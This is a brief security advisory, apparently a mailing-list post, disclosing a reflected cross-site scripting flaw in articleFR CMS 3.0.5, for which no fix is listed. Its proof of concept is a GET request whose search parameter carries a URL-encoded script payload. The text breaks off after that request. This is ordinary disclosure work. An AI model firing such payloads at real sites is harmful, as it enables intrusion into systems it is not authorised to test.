XSS vulnerability in articleFR CMS 3.0.5

Posted by Tien Tran Dinh on Jan 22

#Vulnerability title: XSS vulnerability in articleFR CMS 3.0.5

#Product: articleFR

#Vendor: http://freereprintables.com

#Affected version: version 3.0.5

#Download link: https://github.com/articlefr/articleFR

#Fixed version: N/A

#Google dork: N/A

#Author: Tran Dinh Tien (tien.d.tran () itas vn) & ITAS Team (www.itas.vn)

::PROOF OF CONCEPT::

+ REQUEST:

GET /demo/search/v/?q=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E
HTTP/1.1…

Leave a Reply